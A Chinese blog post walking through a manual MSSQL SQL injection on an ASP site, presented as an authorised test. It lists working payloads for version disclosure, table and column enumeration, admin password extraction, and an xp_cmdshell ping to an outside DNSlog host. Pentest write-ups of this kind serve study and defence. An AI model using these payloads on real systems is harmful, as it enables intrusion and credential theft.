MSSQL手工注入安全项目实战

释放双眼,带上耳机,听听看~!

前段时间在做一个授权的安全服务项目时,一兄弟和我打赌说注入不出来东西,为了一包辣条

马上看了下:

1、输入1直接就爆出错了,而且还知道了数据库的类型为MS SQL数据库。

2、直接输入输入单引号后面查询语句,爆出单引号未闭合

3、后面加–M来注释掉语句,爆出0附近很有语法错误,根据经验这种错误一般是和括号有关

语句:asp?key=1&word=1' and@@version>0 --M

4、加上括号后再测试,成功爆出版本信息,直接出数据了

语句:asp?key=1&word=1'and@@version>0 --M)

5、直接爆出当前库名,如果要爆出其它库名可以db_name(1)db_name(2)

语句:asp?key=1&word=1') anddb_name()>0 --M)

6、采用分页查询的方式爆出不能识别row_number函数,可能是数据库版本和连接器不兼容,这里有个坑,SQL2000的数据库不支持row_number函数

分页查询语句:And (select top 1 name from (select row_number() over( order byobject_id) as rownumber,* from 数据库名.sys.all_objects where type=char(85) AND is_ms_shipped=char(48))Awhere rownumber=N)>0

7、尝试用DNSLOG方式ping(测试命令是否执行),发现命令被禁止执行(

语句:and 'lu4n.com'=(select * fromopenrowset('sqloledb','trusted_connection=yes','set fmtonly off execmaster..xp_cmdshell ''ping t00ls.xxx.tu4.org'''))--)

8、尝试另一种方式爆表还是显示对象名无效。

9、采用sysobjects对象,成功爆出管理表

语句:

语句:asp?key=1&word=1') and(select top 1 name from wuliu2017.dbo.sysobjects where type='U' and name notin('xx') )>0  --M

10、爆出列名

语句:asp?key=1&word=1') and (selecttop 1 COLUMN_NAME from wuliu2017.information_schema.columns whereTABLE_NAME='TY_admin' and column_name not in('TY_id','TY_nick'))>0 --M

11、爆出内容

语句:asp?key=1&word=1') and (selecttop 1 TY_password from TY_admin)>0 --M

__________________________________________________________

声明:本文章来自团队成员恋安投稿,仅供安全爱好者研究学习,对于用于非法途径的行为,作者不承担任何责任。

想加入我们的微信群,目前聚集了来自全球信息安全公司的CEO,安全部门主管,技术总监,信安创业者,网络安全专家,安全实验室负责人,公司HR,在这里你将获得高质量的技术交流空间,更多的内推高薪信息安全岗位,更多与安全大咖们面对面交流的机会。可以扫码添加我的微信,需提供真实有效的公司名称+姓名,验证通过后可加入···

也欢迎大家加入QQ群:838278452、594479150(国内专业度最高的互联网安全交流平台之一,你关心的、你想要的这里都可以满足你)


人已赞赏
安全工具

圈子里的那些阔

2019-10-11 17:03:21

安全工具

从流氓到杀手,还有大流氓站台?

2019-10-11 17:03:27

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索